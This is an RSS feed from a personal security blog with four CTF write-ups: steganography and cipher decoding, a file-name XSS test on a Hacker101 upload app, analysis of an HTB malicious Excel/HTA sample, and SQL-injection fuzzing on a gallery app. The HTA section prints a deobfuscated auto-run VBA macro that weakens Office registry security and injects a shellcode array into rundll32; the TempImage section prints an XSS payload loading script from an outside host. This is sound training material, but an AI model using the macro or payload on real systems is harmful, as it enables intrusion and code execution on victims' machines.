<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[dev.lwlx.xyz]]></title><description><![CDATA[Dev / Sec / Ops | Cybersecurity blog]]></description><link>https://dev.lwlx.xyz</link><image><url>https://dev.lwlx.xyz/icon.png</url><title>dev.lwlx.xyz</title><link>https://dev.lwlx.xyz</link></image><generator>RSS for Node</generator><lastBuildDate>Thu, 28 Jan 2021 18:07:53 GMT</lastBuildDate><atom:link href="https://dev.lwlx.xyz/rss.xml" rel="self" type="application/rss+xml"/><pubDate>Wed, 21 Oct 2020 04:00:00 GMT</pubDate><copyright><![CDATA[2021 lwlx.]]></copyright><language><![CDATA[en]]></language><managingEditor><![CDATA[lwlx@lwlx.xyz]]></managingEditor><webMaster><![CDATA[lwlx@lwlx.xyz]]></webMaster><ttl>60</ttl><item><title><![CDATA[HTB write up for the Black Hole[EASY] challenge]]></title><description><![CDATA[<h1 id="blackhole_easy_">Black Hole <em>[EASY]</em></h1>
<p>This is my Write Up for the "Black Hole" challenge from Hack The Box.</p>
<p>Like so often we are given a zip file called Blackhole.zip, naturraly we unzip it using cli:</p>
<pre><code class="shell language-shell">unzip Blackhole.zip
</code></pre>
<p>It seems the Zip contained another zip called 'archive.zip' , so lets try and open that one.</p>
<p>we got a file called 'hawkins' it seems to be an image file, not really tho..
Is there a hidden message in this image? after some googling i found out about a tool called steghide.</p>
<p><a href="http://steghide.sourceforge.net/download.php">steghide</a> allowed me to look for a hidden message withing this file. Thanks @nieg for pointing in this direction.</p>
<p>I ran steghide like this:</p>
<pre><code class="shell language-shell">steghide extract -sf hawking
</code></pre>
<p>nice! we get a file named Flag.txt.
It seems its content in encoded:</p>
<pre><code class="shell language-shell">UldaeFluUnhlaUJKZFhoNGRXMTVJRlJ0YVhkMWVuTWdhVzFsSUcxNklGRjZjM2gxWlhRZ1puUnhZV1J4Wm5WdmJYZ2dZblJyWlhWdmRXVm1MQ0J2WVdWNVlYaGhjM1ZsWml3Z2JYcHdJRzFuWm5SaFpDd2dhWFJoSUdsdFpTQndkV1J4YjJaaFpDQmhjaUJrY1dWeGJXUnZkQ0J0WmlCbWRIRWdUM0Y2Wm1SeElISmhaQ0JHZEhGaFpIRm1kVzl0ZUNCUFlXVjVZWGhoYzJzZ2JXWWdablJ4SUVkNmRXaHhaR1YxWm1zZ1lYSWdUMjE1Ym1SMWNITnhJRzFtSUdaMGNTQm1kWGx4SUdGeUlIUjFaU0J3Y1cxbWRDNGdWSEVnYVcxbElHWjBjU0JZWjI5dFpYVnRlaUJDWkdGeWNXVmxZV1FnWVhJZ1dXMW1kSEY1YldaMWIyVWdiV1lnWm5SeElFZDZkV2h4WkdWMVptc2dZWElnVDIxNWJtUjFjSE54SUc1eFptbHhjWG9nTVRrM09TQnRlbkFnTWpBd09TNGdWRzFwZDNWNmN5QnRiM1IxY1doeGNDQnZZWGw1Y1dSdmRXMTRJR1ZuYjI5eFpXVWdhWFZtZENCbGNXaHhaRzE0SUdsaFpIZGxJR0Z5SUdKaFltZDRiV1FnWlc5MWNYcHZjU0IxZWlCcGRIVnZkQ0IwY1NCd2RXVnZaMlZsY1dVZ2RIVmxJR0ZwZWlCbWRIRmhaSFZ4WlNCdGVuQWdiMkZsZVdGNFlYTnJJSFY2SUhOeGVuRmtiWGd1SUZSMVpTQnVZV0YzSUUwZ1RtUjFjWElnVkhWbFptRmtheUJoY2lCR2RYbHhJRzFpWW5GdFpIRndJR0Y2SUdaMGNTQk9aSFZtZFdWMElFVm5lbkJ0YXlCR2RYbHhaU0J1Y1dWbUxXVnhlSGh4WkNCNGRXVm1JSEpoWkNCdElHUnhiMkZrY0MxdVpIRnRkM1Y2Y3lBeU16Y2dhWEZ4ZDJVdUlGUnRhWGQxZW5NZ2FXMWxJRzBnY25GNGVHRnBJR0Z5SUdaMGNTQkVZV3R0ZUNCRllXOTFjV1pyTENCdElIaDFjbkZtZFhseElIbHhlVzV4WkNCaGNpQm1kSEVnUW1GNlpuVnlkVzl0ZUNCTmIyMXdjWGxySUdGeUlFVnZkWEY2YjNGbExDQnRlbkFnYlNCa2NXOTFZblZ4ZW1ZZ1lYSWdablJ4SUVKa2NXVjFjSEY2Wm5WdGVDQlpjWEJ0ZUNCaGNpQlNaSEZ4Y0dGNUxDQm1kSEVnZEhWemRIRmxaaUJ2ZFdoMWVIVnRlaUJ0YVcxa2NDQjFlaUJtZEhFZ1IzcDFabkZ3SUVWbWJXWnhaUzRnVlhvZ01qQXdNaXdnVkcxcGQzVjZjeUJwYldVZ1pHMTZkM0Z3SUhwbmVXNXhaQ0F5TlNCMWVpQm1kSEVnVGs1UFhPS0FtV1VnWW1GNGVDQmhjaUJtZEhFZ01UQXdJRk5rY1cxbWNXVm1JRTVrZFdaaGVtVXVEUXBVUms1N1dqTm9jVVJmZUROR1gyWlVNMTl1TkdWR2JVUndOVjlUTTJaZlN6Qm5YM0F3YVZwOUlBPT0=
</code></pre>
<p>This string seems to be base64 encoded twice, who knows why, cuz this doesnt make it any harder.
Lets decode this in the browser:</p>
<pre><code class="JavaScript language-JavaScript">const x = atob(atob('UldaeFluUnhlaUJKZFhoNGRXMTVJRlJ0YVhkMWVuTWdhVzFsSUcxNklGRjZjM2gxWlhRZ1puUnhZV1J4Wm5WdmJYZ2dZblJyWlhWdmRXVm1MQ0J2WVdWNVlYaGhjM1ZsWml3Z2JYcHdJRzFuWm5SaFpDd2dhWFJoSUdsdFpTQndkV1J4YjJaaFpDQmhjaUJrY1dWeGJXUnZkQ0J0WmlCbWRIRWdUM0Y2Wm1SeElISmhaQ0JHZEhGaFpIRm1kVzl0ZUNCUFlXVjVZWGhoYzJzZ2JXWWdablJ4SUVkNmRXaHhaR1YxWm1zZ1lYSWdUMjE1Ym1SMWNITnhJRzFtSUdaMGNTQm1kWGx4SUdGeUlIUjFaU0J3Y1cxbWRDNGdWSEVnYVcxbElHWjBjU0JZWjI5dFpYVnRlaUJDWkdGeWNXVmxZV1FnWVhJZ1dXMW1kSEY1YldaMWIyVWdiV1lnWm5SeElFZDZkV2h4WkdWMVptc2dZWElnVDIxNWJtUjFjSE54SUc1eFptbHhjWG9nTVRrM09TQnRlbkFnTWpBd09TNGdWRzFwZDNWNmN5QnRiM1IxY1doeGNDQnZZWGw1Y1dSdmRXMTRJR1ZuYjI5eFpXVWdhWFZtZENCbGNXaHhaRzE0SUdsaFpIZGxJR0Z5SUdKaFltZDRiV1FnWlc5MWNYcHZjU0IxZWlCcGRIVnZkQ0IwY1NCd2RXVnZaMlZsY1dVZ2RIVmxJR0ZwZWlCbWRIRmhaSFZ4WlNCdGVuQWdiMkZsZVdGNFlYTnJJSFY2SUhOeGVuRmtiWGd1SUZSMVpTQnVZV0YzSUUwZ1RtUjFjWElnVkhWbFptRmtheUJoY2lCR2RYbHhJRzFpWW5GdFpIRndJR0Y2SUdaMGNTQk9aSFZtZFdWMElFVm5lbkJ0YXlCR2RYbHhaU0J1Y1dWbUxXVnhlSGh4WkNCNGRXVm1JSEpoWkNCdElHUnhiMkZrY0MxdVpIRnRkM1Y2Y3lBeU16Y2dhWEZ4ZDJVdUlGUnRhWGQxZW5NZ2FXMWxJRzBnY25GNGVHRnBJR0Z5SUdaMGNTQkVZV3R0ZUNCRllXOTFjV1pyTENCdElIaDFjbkZtZFhseElIbHhlVzV4WkNCaGNpQm1kSEVnUW1GNlpuVnlkVzl0ZUNCTmIyMXdjWGxySUdGeUlFVnZkWEY2YjNGbExDQnRlbkFnYlNCa2NXOTFZblZ4ZW1ZZ1lYSWdablJ4SUVKa2NXVjFjSEY2Wm5WdGVDQlpjWEJ0ZUNCaGNpQlNaSEZ4Y0dGNUxDQm1kSEVnZEhWemRIRmxaaUJ2ZFdoMWVIVnRlaUJ0YVcxa2NDQjFlaUJtZEhFZ1IzcDFabkZ3SUVWbWJXWnhaUzRnVlhvZ01qQXdNaXdnVkcxcGQzVjZjeUJwYldVZ1pHMTZkM0Z3SUhwbmVXNXhaQ0F5TlNCMWVpQm1kSEVnVGs1UFhPS0FtV1VnWW1GNGVDQmhjaUJtZEhFZ01UQXdJRk5rY1cxbWNXVm1JRTVrZFdaaGVtVXVEUXBVUms1N1dqTm9jVVJmZUROR1gyWlVNMTl1TkdWR2JVUndOVjlUTTJaZlN6Qm5YM0F3YVZwOUlBPT0='))
console.log(x)

//Output:
x = `Efqbtqz Iuxxumy Tmiwuzs ime mz Qzsxuet ftqadqfuomx btkeuouef, oaeyaxasuef, mzp mgftad, ita ime pudqofad ar dqeqmdot mf ftq Oqzfdq rad Ftqadqfuomx Oaeyaxask mf ftq Gzuhqdeufk ar Omyndupsq mf ftq fuyq ar tue pqmft. Tq ime ftq Xgomeumz Bdarqeead ar Ymftqymfuoe mf ftq Gzuhqdeufk ar Omyndupsq nqfiqqz 1979 mzp 2009. Tmiwuzs motuqhqp oayyqdoumx egooqee iuft eqhqdmx iadwe ar babgxmd eouqzoq uz ituot tq pueogeeqe tue aiz ftqaduqe mzp oaeyaxask uz sqzqdmx. Tue naaw M Nduqr Tuefadk ar Fuyq mbbqmdqp az ftq Ndufuet Egzpmk Fuyqe nqef-eqxxqd xuef rad m dqoadp-ndqmwuzs 237 iqqwe. Tmiwuzs ime m rqxxai ar ftq Dakmx Eaouqfk, m xurqfuyq yqynqd ar ftq Bazfuruomx Mompqyk ar Eouqzoqe, mzp m dqoubuqzf ar ftq Bdqeupqzfumx Yqpmx ar Rdqqpay, ftq tustqef ouhuxumz mimdp uz ftq Gzufqp Efmfqe. Uz 2002, Tmiwuzs ime dmzwqp zgynqd 25 uz ftq NNO\âe baxx ar ftq 100 Sdqmfqef Ndufaze.
TFN{Z3hqD_x3F_fT3_n4eFmDp5_S3f_K0g_p0iZ}`
</code></pre>
<p>We got some sort of unreadable Text coupled with what seems to be a flag.</p>
<pre><code>HTB{this_is_the_usu4l_f0rmat_for_flags}
TFN{Z3hqD_x3F_fT3_n4eFmDp5_S3f_K0g_p0iZ}
</code></pre>
<p>similiarities are striking! why? well cuz its a caesar cipher.. how do we know? only the letters are affected, 'TFN' is 'HTB' shifted by 14, so they must be using ROT14. Give it a try on cyberchef:</p>
<p><img src="/cipherROT14.png" alt="solved ciphertext" title="solved ciphertext" /></p>
<p>Thats it! we got our flag 😄</p>
<p>have a look at <a href="https://github.com/Lawlez/myOSWE/tree/master/htb/challanges/misc/Black%20Hole">this challenge on my GitHub</a></p>]]></description><link>https://dev.lwlx.xyz/blog/blog/htb-black-hole-challenge-writeup</link><guid isPermaLink="true">https://dev.lwlx.xyz/blog/blog/htb-black-hole-challenge-writeup</guid><category><![CDATA[ctf]]></category><category><![CDATA[writeup]]></category><category><![CDATA[hackthebox]]></category><category><![CDATA[BlackHole]]></category><category><![CDATA[htb]]></category><category><![CDATA[security]]></category><dc:creator><![CDATA[lwlx]]></dc:creator><pubDate>Wed, 27 Jan 2021 14:29:18 GMT</pubDate></item><item><title><![CDATA[Hacker101 CTF TempImage[moderate] Write-Up]]></title><description><![CDATA[<h1 id="tempimage_moderate_wip">TempImage <em>[moderate]</em> <code>WIP</code></h1>
<p>This is my Write Up for the "TempImage" challenge of HackerOne's CTF.</p>
<p>As usual we get a link to webpage, it seems to some sort of cloud storage application, on the main Page we get a really simple page:</p>
<pre><code class="jsx language-jsx">&lt;!-- https://ctf.hacker101.com/ctf/launch/12 --&gt;

&lt;html&gt;
  &lt;head&gt;
    &lt;title&gt;TempImage &amp;mdash; Trial&lt;/title&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;h1&gt;TempImage&lt;/h1&gt;
    &lt;p&gt;
      &lt;b&gt;UNREGISTERED&lt;/b&gt;
    &lt;/p&gt;
    &lt;p&gt;
      &lt;a href="upload.php"&gt;Upload image&lt;/a&gt;
    &lt;/p&gt;
  &lt;/body&gt;
&lt;/html&gt;
</code></pre>
<p>It signifies that its an UNEGISTERED version of the app, thus working in trial mode.</p>
<h2 id="enumeration">Enumeration</h2>
<p>So lets start to explore the app and what it can do. We start by clicking the "Upload image" Button.
This leads us to a new page <strong>/upload.php</strong>, here we can select a file from our computer, and have a submit button to send the form.</p>
<p>The form will be sent to a <strong>doUpload.php</strong> file. Upon closer inspection we alos see that there is a hidden field "filename", which gets filled in by aJS snippet.</p>
<pre><code class="jsx language-jsx">   &lt;h1&gt;Upload&lt;/h1&gt;
        &lt;form action="doUpload.php" method="POST" enctype="multipart/form-data"&gt;
            &lt;input type="file" name="file" id="file"&gt;
            &lt;input type="hidden" name="filename" id="filename"&gt;
            &lt;input type="submit" value="Upload"&gt;
        &lt;/form&gt;
        &lt;script&gt;
            $(document).ready(function() {
                $('#file').change(function(e) {
                    $('#filename').val(e.target.files[0].name)
                })
            })
     &lt;/script&gt;
</code></pre>
<p>So it seems this lil script extracts the <code>file.name</code> prop from the fileOpbject the user uploads to the input type="file".</p>
<p>Lets Try it out, It seems the file inpput allows any file to be chosen, lets try a 5mb .gif file.</p>
<pre><code class="jsx language-jsx">&lt;center&gt;&lt;h1&gt;413 Request Entity Too Large&lt;/h1&gt;&lt;/center&gt;
&lt;hr&gt;&lt;center&gt;nginx/1.14.0 (Ubuntu)&lt;/center&gt;
</code></pre>
<p>OK, fair, maybe 5mb was a it large, but we know we're working with an nginx 1.14 server on Ubuntu.
So how about we try a smaller gif?</p>
<pre><code class="shell language-shell">ERROR: Only PNG format supported in trial.
</code></pre>
<p>Okay, finally we know what the app expects from us, a PNG file. So we try jsut that.
The upload succeeds, thus redirecting us to a new url:
<code>/files/be9c26aaea9d9b5085c7f6eed0812745_uhhhh.png</code></p>
<p>so it seems our files are uploaded to the <code>/files/</code> directory, what a suprise, the file stil contains our original filename, preceeded by some gibberish.</p>
<p>we should deffinetly try to exploit this, check wheter or not they sanitize our filename.</p>
<p>Lets try uploading a file named: <code>javascript%3Aeval%28%27var%20a%3Ddocument.createElement%28%5C%27script%5C%27%29%3Ba.src%3D%5C%27https%3A%2F%2FDiscover.xss.ht%5C%27%3Bdocument.body.appendChild%28a%29%27%29.png</code></p>
<p>We now get redirected to this url <code>http://35.190.155.168/d29c8e00db/files/9975e7e24fac21e8b877a6d08efe09c6_javascript%3Aeval%28%27var%20a%3Ddocument.createElement%28%5C%27script%5C%27%29%3Ba.src%3D%5C%27https%3A%2F%2FDiscover.xss.ht%5C%27%3Bdocument.body.appendChild%28a%29%27%29.png</code></p>
<p>and we get served this content:</p>
<pre><code class="javascript language-javascript">Not Found
The requested URL /files/9975e7e24fac21e8b877a6d08efe09c6_javascript:eval('var a=document.createElement(\'script\');a.src=\'https:/Discover.xss.ht\';document.body.appendChild(a)').png was not found on this server.

Apache/2.4.7 (Ubuntu) Server at 127.0.0.1 Port 52736
</code></pre>
<p>so it seems there is potential there, we just need a more sophisticated payload to upload.</p>
<h2 id="takingastepback">Taking a step back</h2>
<p>It's important not to get tunnelvision and only focus on your first finding, so lets take a step back and analyze the website using Burp Suite. Maybe we'll find something.
Lets analyze the upload URL first:</p>
<pre><code class="shell language-shell">GET /d29c8e00db/upload.php HTTP/1.1
Host: 35.190.155.168
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
</code></pre>
<p>This does not tell us that much, it seems the server could accep more than just PNG tho.</p>
<p>How about if we upload an image?</p>
<p><code>POST /d29c8e00db/doUpload.php HTTP/1.1</code></p>
<p><img src="/hackerone/tempimage/tempimage-hackerone101-burpSuite_fileupload.png" alt="image upload Request" title="image upload Request" /></p>
<blockquote>
  <p>This Post is marked as <code>WIP</code> and will be updated continously.</p>
</blockquote>]]></description><link>https://dev.lwlx.xyz/blog/blog/hacker101-ctf-tempimage</link><guid isPermaLink="true">https://dev.lwlx.xyz/blog/blog/hacker101-ctf-tempimage</guid><category><![CDATA[ctf]]></category><category><![CDATA[writeup]]></category><category><![CDATA[hackerone]]></category><category><![CDATA[TempImage]]></category><category><![CDATA[security]]></category><dc:creator><![CDATA[lwlx]]></dc:creator><pubDate>Fri, 22 Jan 2021 23:22:38 GMT</pubDate></item><item><title><![CDATA[HTB write up for the oBfsC4t10n[HARD] challenge]]></title><description><![CDATA[<h1 id="obfsc4t10n_hard_wip">oBfsC4t10n <em>[HARD]</em> <code>(WIP)</code></h1>
<p>This is my Write Up for the "oBfsC4t10n" challenge from Hack The Box.</p>
<p>We are given a <em>zip file</em>. after extraction we are presented with an <strong>html</strong> file telling us to download an <strong>excel file</strong>.
The excel file has been included in the html as a <strong>base64 encoded</strong> string, lets just save that info for later <code>base64.txt</code> in case we need it.</p>
<blockquote>
  <p>decoding <code>base64.txt</code> actually gives us a valid excel like file.</p>
</blockquote>
<p>After we checked the HTML and deemed the download save lets fetch the excel file.</p>
<h2 id="enumeration">Enumeration</h2>
<p>Instead of trying to open or analyze the file on our own machine, lets go ahead and upload it to <strong>ANY.RUN</strong>.</p>
<blockquote>
  <p><a href="https://ANY.RUN">https://ANY.RUN</a> is a <strong>online Sandbox</strong> service that allows you to open various suspicious files or programms to fully analyze what would happen, without the danger.</p>
</blockquote>
<p>After Testing the file with <strong>ANY.RUN</strong> we were able to see how the exploit would work and what would be done. So we tested on a <strong>Windows 7</strong> Machine, after opening the file, the exploit imediately startet to run:</p>
<p><img src="/htb/obfuscation/file-report.png" alt="excel-file-report" /></p>
<blockquote>
  <ol>
  <li>At first a temp file was created under <code>C:\Users\admin\AppData\Local\Temp\CVR40EB.tmp.cvr</code></li>
  <li>Then a what seems to be <code>visual basic script</code> executer was added here: <code>C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd</code></li>
  <li>followed by a <code>.hta</code> file with a funny name..: <code>C:\Users\admin\AppData\Local\Temp\LwTHLrGh.hta</code> &lt;-- lemme guess thats the one.</li>
  <li>it then makes use of <code>mshta.exe</code> to try and execute the <code>LwTHLrGh.hta</code> file.</li>
  <li>then ANY.RUN stops executing the file.</li>
  </ol>
</blockquote>
<p><img src="/htb/obfuscation/file-modifications.png" alt="important files" /></p>
<p>I went ahead and <em>downloaded</em> the <code>MSForms.exd</code> as well as the <code>LwTHLrGh.hta</code> file so we can analyze them further.</p>
<h2 id="analyzinglwthlrghhta">Analyzing <code>LwTHLrGh.hta</code></h2>
<blockquote>
  <p>.hta is a propriatary file format used by microsoft, its called '<strong>HT</strong>ML <strong>A</strong>pplication' and supports HTML code as well as <strong>Visual Basic</strong> or <strong>JScript</strong>. This format was meant to be used by Internet Explorer.</p>
  <p>The <strong>default file-association</strong> for the .hta extension is the Microsoft HTML Application Host (<strong>mshta.exe</strong>). If you have not disabled or changed this file association, in effect the HTA file behaves like an executable when double-clicked. An <strong>HTA runs</strong> as a <strong>fully trusted application</strong> and as a result has a lot <strong>more privileges than a normal HTML</strong> file.</p>
</blockquote>
<p>Sounds dangerous, nice!</p>
<p>So lets disect this bitch!</p>
<p>When opening the file we see it has a rather clear structure, a huge VB Script and <strong>even comments</strong>. How nice of the hacker not to obfuscate his code too much, thanks <a href="https://twitter.com/0xdf_">@0xdf</a>. ;-)</p>
<pre><code class="jsx language-jsx">"&lt;html&gt;&lt;head&gt;

&lt;script language="vbscript"&gt;

&lt;!-- VB script here --&gt;

&lt;/script&gt;&lt;/head&gt;&lt;/html&gt;"
</code></pre>
<p>so naturally, since its practiacally all the code, we strip the vbcode out of the .hta to make it readable.</p>
<p>Thank god we know VB, otherwise this would be a pain from here on now. ;-) Thankfully, since the autor has left some comments, indicating how the attack works, we should be able to cope with it.</p>
<p>The very first thing he does is effectively creating a backup of the AccessVBOM key <strong>if</strong> it has been set before.</p>
<pre><code class="vb language-vb">' Get the old AccessVBOM value
RegPath = "HKEY_CURRENT_USER\Software\Microsoft\Office\" &amp; objExcel.Version &amp; "\Excel\Security\AccessVBOM"

if RegExists(RegPath) then
        action = WshShell.RegRead(RegPath)
else
        action = """"
end if
</code></pre>
<blockquote>
  <p>"<em>Setting AccessVBOM to 1 allows to access the VBA Object Model</em>"</p>
</blockquote>
<p>Then he 'weakens the target' by setting the AccessVBOM to 1, thus enabling all acces to VBA Object Model.</p>
<pre><code class="VB language-VB">' Weaken the target
WshShell.RegWrite RegPath, 1, "REG_DWORD"
</code></pre>
<p>Then he gets to the juicy part.
To Exploit the Security setting he just turned off, he creates a new Excel Workboo, with macros of course.
He then proceeds to add VBComponents to the Excel, allowing him to add an Assembly Code Module.</p>
<pre><code class="VB language-VB">' Run the macro
Set objWorkbook = objExcel.Workbooks.Add()
Set xlmodule = objWorkbook.VBProject.VBComponents.Add(1)
xlmodule.CodeModule.AddFromString ... 80 more lines...
</code></pre>
<p>In his last step this good boy restores the systems registry to its previous state.</p>
<pre><code class="vb language-vb">' Restore the registry to its old state
if action = "" then
        WshShell.RegDelete RegPath
else
        WshShell.RegWrite RegPath, action, "REG_DWORD"
end if
self.close
</code></pre>
<blockquote>
  <p>xlmodule.CodeModule.AddFromString contains many obfuscated lines of assembly code, I deobfuscated it by printing it via VBS.</p>
</blockquote>
<p>Here is the actualy assembly code payload:</p>
<pre><code class="cpp language-cpp">Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type STARTUPINFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type

#If VBA7 Then
    Private Declare PtrSafe Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr
    Private Declare PtrSafe Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
    Private Declare PtrSafe Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr
    Private Declare PtrSafe Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#Else
    Private Declare Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
    Private Declare Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
    Private Declare Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long
    Private Declare Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#End If

Sub Auto_Open()
    Dim myByte As Long, myArray As Variant, offset As Long
    Dim pInfo As PROCESS_INFORMATION
    Dim sInfo As STARTUPINFO
    Dim sNull As String
    Dim sProc As String

#If VBA7 Then
    Dim rwxpage As LongPtr, res As LongPtr
#Else
    Dim rwxpage As Long, res As Long
#End If
    myArray = Array(-35,-63,-65,32,86,66,126,-39,116,36,-12,91,49,-55,-79,98,49,123,24,3,123,24,-125,-61,36,-76,-73,-126,-52,-70,56,123,12,-37,-79,-98,61,-37,-90,-21,109,-21,-83,-66,-127,-128,-32,42,18,-28,44,92,-109,67,11,83,36,-1,111,-14,-90,2,-68,-44,-105,-52,-79,21,-48,49,59,71,-119,62,-18,120,-66,11,51,-14,-116,-102,51,-25,68,-100,18,-74,-33,-57,-76,56,12,124,-3,34,81,-71,-73,-39,-95,53,70,8,-8,-74,-27,117,53,69,-9,-78,-15,-74,-126,-54,2,74,-107,8,121,-112,16,-117,-39,83,-126,119,-40,-80,85,-13,-42,125,17,91,-6,-128,-10,-41,6,8,-7,55,-113,74,-34,-109,-44,9,127,-123,-80,-4,-128,-43,27,-96,36,-99,-79,-75,84,-4,-35,122,85,-1,29,21,-18,-116,47,-70,68,27,3,51,67,-36,100,110,51,114,-101,-111,68,90,95,-59,20,-12,118,102,-1,4,119,-77,80,85,-41,108,17,5,-105,-36,-7,79,24,2,25,112,-13,43,50,-88,-5,83,-61,-46,-115,58,-81,49,21,-46,66,43,-68,66,-77,-59,81,-76,-125,77,-17,-79,116,94,-80,2,72,-22,17,-7,-58,33,-14,113,127,119,127,26,76,37,2,-38,-38,96,-44,-18,-102,-116,-15,-124,-37,110,-109,-112,-117,-26,97,-91,42,76,-20,67,70,-94,-72,-36,-1,91,-31,-105,-98,-92,60,-46,-95,47,-76,34,111,-40,-67,48,-104,-65,61,-55,89,42,61,-93,93,-4,106,91,92,-39,92,-60,-97,12,-33,3,95,-47,-23,120,86,71,85,23,-105,-121,85,-25,-63,-51,85,-113,-75,-75,6,-86,-71,99,59,103,44,-116,109,-37,-25,-28,-109,2,-49,-86,108,97,83,-84,-110,-9,124,21,-6,7,61,-91,-6,109,-67,-11,-110,122,-110,-6,82,-126,57,83,-6,9,-84,17,-101,14,-27,-12,5,14,10,45,-74,117,95,-46,55,-118,-119,-73,56,-118,-75,-55,5,92,-116,-65,72,92,-85,-80,-1,-63,-102,90,-1,86,-36,78)
    If Len(Environ("ProgramW6432")) &gt; 0 Then
        sProc = Environ("windir") &amp; "\\SysWOW64\\rundll32.exe"
    Else
        sProc = Environ("windir") &amp; "\\System32\\rundll32.exe"
    End If

    res = RunStuff(sNull, sProc, ByVal 0&amp;, ByVal 0&amp;, ByVal 1&amp;, ByVal 4&amp;, ByVal 0&amp;, sNull, sInfo, pInfo)

    rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &amp;H1000, &amp;H40)
    For offset = LBound(myArray) To UBound(myArray)
        myByte = myArray(offset)
        res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&amp;)
    Next offset
    res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
</code></pre>
<p>You can see the Variable myArray seems suspicous, when running the payload in Excel I get an error for 'myArray'</p>
<p>Im stuck here at the moment… I was told i would not need windows..</p>
<p>@ me on twitter <a href="https://twitter.com/0x0000005">@0x0000005</a></p>
<blockquote>
  <p>This Post is marked as <code>WIP</code> and will be updated continously.</p>
</blockquote>]]></description><link>https://dev.lwlx.xyz/blog/blog/htb-obfsc4t10n-challenge-writeup</link><guid isPermaLink="true">https://dev.lwlx.xyz/blog/blog/htb-obfsc4t10n-challenge-writeup</guid><category><![CDATA[ctf]]></category><category><![CDATA[writeup]]></category><category><![CDATA[hackthebox]]></category><category><![CDATA[oBfsC4t10n]]></category><category><![CDATA[htb]]></category><category><![CDATA[security]]></category><dc:creator><![CDATA[lwlx]]></dc:creator><pubDate>Fri, 22 Jan 2021 11:53:52 GMT</pubDate></item><item><title><![CDATA[Hacker101 CTF Photo Gallery [moderate] writeup]]></title><description><![CDATA[<h1 id="photogallery_moderate_">Photo Gallery <em>[moderate]</em></h1>
<p>This is my Write Up for the "Photo Gallery" challenge of HackerOne's CTF.</p>
<p>As usual we get a link to webpage, it seems to be an image gallery, but one of the images is broken.
The missing one is called <code>Invisible</code>, so lets look into that.</p>
<pre><code>http://34.74.105.127/ad3e8c7df9/
</code></pre>
<p><img src="/hackerone/photogallery-start.png" alt="initial page" title="initial page" /></p>
<h2 id="informationgathering">Information gathering</h2>
<p>with Burp we were able to find that the server returns no content for this image.
images are loaded with a <code>GET</code> Request to the server like so:</p>
<p><code>GET /ad3e8c7df9/fetch?id=1 HTTP/1.1</code></p>
<p>this also aligns with the first tip we are provided:</p>
<blockquote>
  <p>Hint 1: <em>Consider how you might build this system yourself. What would the <strong>query for fetch</strong> look like?</em></p>
</blockquote>
<p>naturally we start fuzzing the <code>id</code> parameter.</p>
<pre><code class="python language-python">GET /ad3e8c7df9/fetch?id=4 HTTP/1.1 # 404
GET /ad3e8c7df9/fetch?id=0 HTTP/1.1 # 404
GET /ad3e8c7df9/fetch?id=-1 HTTP/1.1 # 500
</code></pre>
<p>alright, no quick wins, so let's give it a try with fizzing using sqlmap.
Quickly we are able to see that the server seems to be vulnerable to some attack.</p>
